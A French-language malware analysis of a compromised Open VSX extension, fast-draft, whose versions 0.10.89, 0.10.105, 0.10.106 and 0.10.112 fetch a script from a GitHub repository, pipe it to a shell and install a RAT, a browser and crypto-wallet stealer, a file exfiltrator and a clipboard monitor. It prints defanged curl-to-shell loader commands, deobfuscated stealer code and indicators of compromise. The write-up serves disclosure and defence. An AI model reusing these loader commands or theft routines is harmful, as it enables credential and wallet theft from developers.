Le KhangNghiem/fast-draft extension, listée sur open-vsx.org/extension/KhangNghiem/fast-draft et qui compte désormais plus de 26 000 téléchargements, a eu plusieurs versions malveillantes qui exécutent un téléchargeur hébergé sur GitHub et extraient un RAT et un infostealer de seconde étape depuis le dépôt BlokTrooper/extension. Les versions malveillantes confirmées dans la lignée de versions que nous avons inspectée sont 0.10.89, 0.10.105, 0.10.106, et 0.10.112.
Ce qui rend ce cas inhabituel, c'est que les versions malveillantes ne sont pas continues. Les versions jusqu'à 0.10.88 semblent saines. 0.10.111 semble également saine, même si elle se trouve entre des versions malveillantes, et la dernière version d'Open VSX en date du 17/03/2026, 0.10.135, ne contient pas non plus le même chargeur. Ce schéma alterné est difficile à concilier avec un mainteneur livrant intentionnellement des malwares. L'explication la plus plausible est un éditeur compromis ou un jeton volé.
Au 17 mars 2026, l'entrée de l'API Open VSX à open-vsx.org/api/KhangNghiem/fast-draft répertorie 0.10.135 comme la dernière version et signale 26 594 téléchargements pour l'extension au total. Nous avons divulgué le problème au mainteneur le 12 mars 2026 via le problème GitHub github.com/khangnghiem/fast-draft/issues/565, qui était toujours ouvert sans commentaires au moment de la rédaction.
Ce qui s'est passé
L'examen chronologique des versions révèle ce qui suit :
0.10.88: Apparence propre. Aucun chemin de téléchargeur connu.0.10.89: Malveillant. Introduit un téléchargeur shell hébergé sur GitHub lors de l'initialisation de l'éditeur.0.10.105: Malveillant. Déplace le chargeur vers l'activation au démarrage et ajoute une protection unique.0.10.106: Malveillant. Même chargeur au démarrage, mais la protection est supprimée.0.10.111: Apparence propre. Le chemin du téléchargeur connu disparaît.0.10.112: Malveillant. Le téléchargeur au démarrage revient.0.10.129-135: Apparence propre. Dernières versions vérifiées, téléchargeur connu absent.
Ce n'est pas le schéma de publication attendu d'une seule version compromise ou d'un mainteneur ayant entièrement basculé vers un comportement malveillant. Cela ressemble davantage à deux flux de publication concurrents partageant la même identité d'éditeur.
Fonctionnement de l'attaque
Toutes les versions malveillantes utilisent la même astuce de base : l'extension contacte raw[.]githubusercontent[.]com/BlokTrooper/extension et redirige directement la réponse vers un shell.
Dans 0.10.89, l'extension récupère des scripts spécifiques à la plateforme depuis le répertoire scripts/ du dépôt :
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmdDans 0.10.105, 0.10.106, et 0.10.112, la même idée est encapsulée sous forme de icons/${platform} requête et liée à l'activation de l'extension, probablement aussi destinée à échapper à certaines détections.
Ces scripts de plateforme téléchargent ensuite des archives ZIP, les extraient dans un répertoire temporaire et exécutent un binaire Node intégré contre une charge utile temporaire obfusquée. Nous avons déjà analysé cette charge utile en détail dans une analyse distincte. Ce n'est pas un simple stub de test inoffensif. Il déploie quatre modules parallèles :
- Un RAT Socket.IO avec contrôle de la souris, du clavier, des captures d'écran et du presse-papiers
- Un voleur de navigateurs et de portefeuilles qui cible les mots de passe enregistrés, les données web et 25 extensions de portefeuilles de cryptomonnaies
- Un module d'exfiltration de fichiers qui télécharge récursivement des documents, des clés, des configurations, du code source et des secrets
- Un moniteur de presse-papiers qui soumet le contenu copié au C2
L'infrastructure est la même chaîne BlokTrooper/d'extension que nous avons précédemment désobfusquée, avec des valeurs de configuration se résolvant en 195[.]201[.]104[.]53, et des ports actifs 6931, 6936, et 6939.
La preuve irréfutable
La version malveillante 0.10.112 build restaure l'activation au démarrage et le téléchargeur GitHub brut :
const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...La dernière version propre vérifiée, 0.10.135, ne montre pas le même chemin. Sa logique d'activation enregistre le fournisseur d'éditeur et d'autres éléments d'infrastructure d'extension, mais le téléchargeur BlokTrooper est absent.
Cette différence est plus importante que le bruit heuristique générique des scanners statiques. Ce cas a nécessité un examen manuel version par version, car les versions propres regroupent toujours l'exécution normale des processus et les intégrations de fournisseurs d'IA qui peuvent sembler suspectes à des règles simplistes.
Ce que la deuxième étape accomplit réellement
La deuxième étape est celle où cela passe d'un téléchargeur suspect à une compromission totale.
L'enveloppe externe temp wrapper reconstruit l'adresse C2 à partir d'octets IP codés en dur, supprime les erreurs d'exécution avec process.on('uncaughtException', ()=>{}), et démarre quatre processus enfants Node détachés avec node -e. En d'autres termes, l'extension ne se contente pas de télécharger une charge utile. Elle télécharge un petit framework d'attaque qui se déploie en tâches concurrentes distinctes.
process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);Cela provient directement du wrapper désobfusqué et montre l'opérateur masquant les plantages tout en reconstruisant les chaînes IP à partir des champs de configuration plutôt que de les stocker en texte clair.
ab = ...;
M(..., ['-e', ab], {
windowsHide: true,
detached: true,
stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
windowsHide: true,
detached: true,
stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
windowsHide: true,
detached: true,
stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
windowsHide: true,
detached: true,
stdio: ...
});C'est le point de contrôle clé de l'étape 2 : un script de lancement démarre quatre modules distincts en mémoire et les détache afin qu'ils puissent continuer à s'exécuter indépendamment en arrière-plan.
Module 1 : RAT de bureau à distance
Le premier processus enfant se connecte à http://195[.]201[.]104[.]53:6931 sur Socket.IO et expose un canal de contrôle à distance complet.
Il prend en charge les commandes pour :
- le mouvement de la souris, les clics et le défilement
- les pressions et combinaisons de touches
- les captures d'écran avec compression JPEG
- les lectures et écritures du presse-papiers
- la recherche des dimensions de l'écran
- le profilage système et le contrôle de session
L'ensemble de dépendances fourni dans le ZIP correspond exactement à ces capacités :
"node_modules/@nut-tree-fork/nut-js": {
"version": "4.2.6"
}, "node_modules/clipboardy": {
"version": "5.3.1"
}, "node_modules/screenshot-desktop": {
"version": "1.15.3"
}, "node_modules/sharp": {
"version": "0.34.5"
}, "node_modules/socket.io-client": {
"version": "4.8.3"
}À elles seules, les dépendances ne suffisent pas à prouver un comportement malveillant. Dans ce cas, elles sont importantes car elles correspondent à la structure du module déjà désobfusquée : exécution de tâches à distance via Socket.IO, capture de bureau, traitement d'images, accès au presse-papiers et automatisation complète du clavier et de la souris.
Le payload vérifie également s'il s'exécute dans une VM en recherchant des chaînes de caractères telles que vmware, virtualbox, qemu, kvm, et xen dans les informations système spécifiques à la plateforme. Il ne s'arrête pas lorsqu'il détecte une VM. Il étiquette simplement l'hôte et continue. Il maintient également un verrou PID singleton sous ~/.npm/ afin de ne pas empiler plusieurs instances sur la même machine.
Module 2 : Vol de navigateurs et de portefeuilles
Le deuxième processus enfant parcourt les profils de navigateurs pour Chrome, Edge, Brave, Opera et LT Browser sur macOS, Linux et Windows. Pour chaque profil, il dérobe :
- Données de connexion
- Données de connexion pour le compte
- Données web
- état LevelDB des extensions de portefeuille
Le ciblage des portefeuilles est large, non fortuit. La liste codée en dur inclut MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo et CoinStats, entre autres. Sur macOS, il récupère également ~/Library/Keychains/login.keychain.
Les données sont mises en scène sous ~/npm-cache/__tmp__/cldbs/ et téléchargées vers http://195[.]201[.]104[.]53:6936/upload. Après le balayage initial, le voleur continue d'interroger de nouveaux fichiers LevelDB environ toutes les 100 secondes, ce qui signifie qu'il est conçu pour détecter les changements d'état des portefeuilles au fil du temps plutôt que de se limiter à une seule opération de vol éclair.
Un nouveau décodage de la phase 2 nous offre une meilleure vue du module de vol de navigateur. Il code en dur les identifiants d'extensions de portefeuille, puis itère sur les données de profil de navigateur, les bases de données de connexion et l'état des extensions basé sur LevelDB :
const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
const l = g + '/' + j + z(0x248) + k;Dans le même blob décodé, ces constantes de chemin se résolvent en /Login Data, /Login Data For Account, /Web Data, et /Local Extension Settings/, tandis que l'outil de téléchargement utilise FormData, fs.createReadStream, /cldbs, et /upload.
const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
headers: {
...f[y(0x239)](),
path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
}
});Module 3 : Vol de documents et de secrets
Le troisième processus enfant scanne récursivement le répertoire personnel, ou tous les lecteurs sous Windows, à la recherche de fichiers sensibles. Les modèles ciblés incluent :
*.docx,*.xlsx,*.xls,*.csv,*.pdf,*.doc,*.odt,*.rtf*.md,*.txt,*.js,*.ts,*.json,*.ini*.env*,*.pem,*.secret- formats d'image courants
La liste d'exclusion est également révélatrice. Elle ignore les chemins bruyants comme node_modules, .git, dist, et build, mais elle ignore également explicitement des dossiers comme .windsurf, .pearai, .claude, .cursor, .brownie, et openzeppelin. Cela suggère que l'opérateur ne se contente pas de voler des fichiers aléatoires. Il sait que les machines de développeurs, les outils de cryptographie et les environnements de codage assistés par IA sont des cibles de grande valeur.
Les chaînes de vol de fichiers décodées sont explicites quant à ce qui est collecté et ce qui est ignoré :
const u = [".github", "*.env*", ".sqlite", « *.csv », « *.pdf », ".zsh_history", ".ssh", ".pub-cache", « .vscode »];
"node_modules", ".brownie", « AppData », « *.docx », « .cursor », ".claude", « openzeppelin », « .windsurf »Ceci est optimisé pour les postes de travail de développeurs, les arborescences de code source, le matériel de clé, l'historique de shell et les états locaux de grande valeur provenant des environnements de codage modernes.
Module 4 : Surveillance du presse-papiers
Le quatrième processus enfant interroge le presse-papiers toutes les deux secondes et attend que le contenu se stabilise avant de le soumettre au C2.
- Sous macOS, il utilise
pbpaste - Sous Windows, il fait appel à
powershell -NoProfile -NonInteractive Get-Clipboard - Sous Linux, il se rabat sur
clipboardy
Les contenus modifiés du presse-papiers sont envoyés à /api/service/makelog, ce qui signifie que les phrases de récupération copiées, les mots de passe, les clés API et les codes de récupération peuvent être exfiltrés même s'ils ne sont jamais écrits sur le disque.
Le blob de chaînes décodées du module de presse-papiers est inhabituellement direct :
"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"Ces chaînes se trouvent ensemble dans le code de presse-papiers de la phase 2 et correspondent au comportement antérieur que nous avons observé lors de la désobfuscation : collecte de presse-papiers spécifique à la plateforme suivie de la soumission à la route de journalisation de l'opérateur.
L'importance de l'écart entre les versions saines
Ce sont les versions saines qui rendent ce cas digne d'intérêt en tant que compromission probable de l'éditeur, au lieu de simplement « une extension qui a mal tourné ».
Nous avons vérifié manuellement 0.10.88, 0.10.111, et 0.10.129-135 les indicateurs concrets présents dans les versions malveillantes :
- raw[.]githubusercontent[.].com/BlokTrooper
- la protection fd.onlyOncePlease utilisée par le chargeur de démarrage
- socket.io-client
- /upload
- /cldbs
- pbpaste
- Get-Clipboard
Ces indicateurs connus étaient absents dans les versions d'apparence saine, et leur flux d'activation ressemblait à un enregistrement d'extension normal plutôt qu'à un téléchargeur. C'est particulièrement important pour 0.10.111, qui se situe juste entre les versions malveillantes 0.10.106 et 0.10.112, et pour 0.10.135, qui est actuellement la dernière version d'Open VSX.
Si le mainteneur distribuait sciemment le malware, l'historique des versions resterait plus probablement malveillant jusqu'à sa découverte ou son nettoyage. Au lieu de cela, nous voyons des versions malveillantes apparaître et disparaître tandis que le problème public reste sans réponse. Cela est cohérent avec un accès de publication volé ou une autre compromission de la chaîne de publication.
Indicateurs de Compromission
- ID de l'extension : KhangNghiem.fast-draft
- Versions malveillantes :
0.10.89,0.10.105,0.10.106,0.10.112 - Hôte de la phase 1 : raw[.]githubusercontent[.].com/BlokTrooper/extension
- IP du C2 : 195[.]201[.]104[.]53
- Ports : 6931, 6936, 6939
- Routes d'exfiltration : /upload, /cldbs, /api/service/makelog

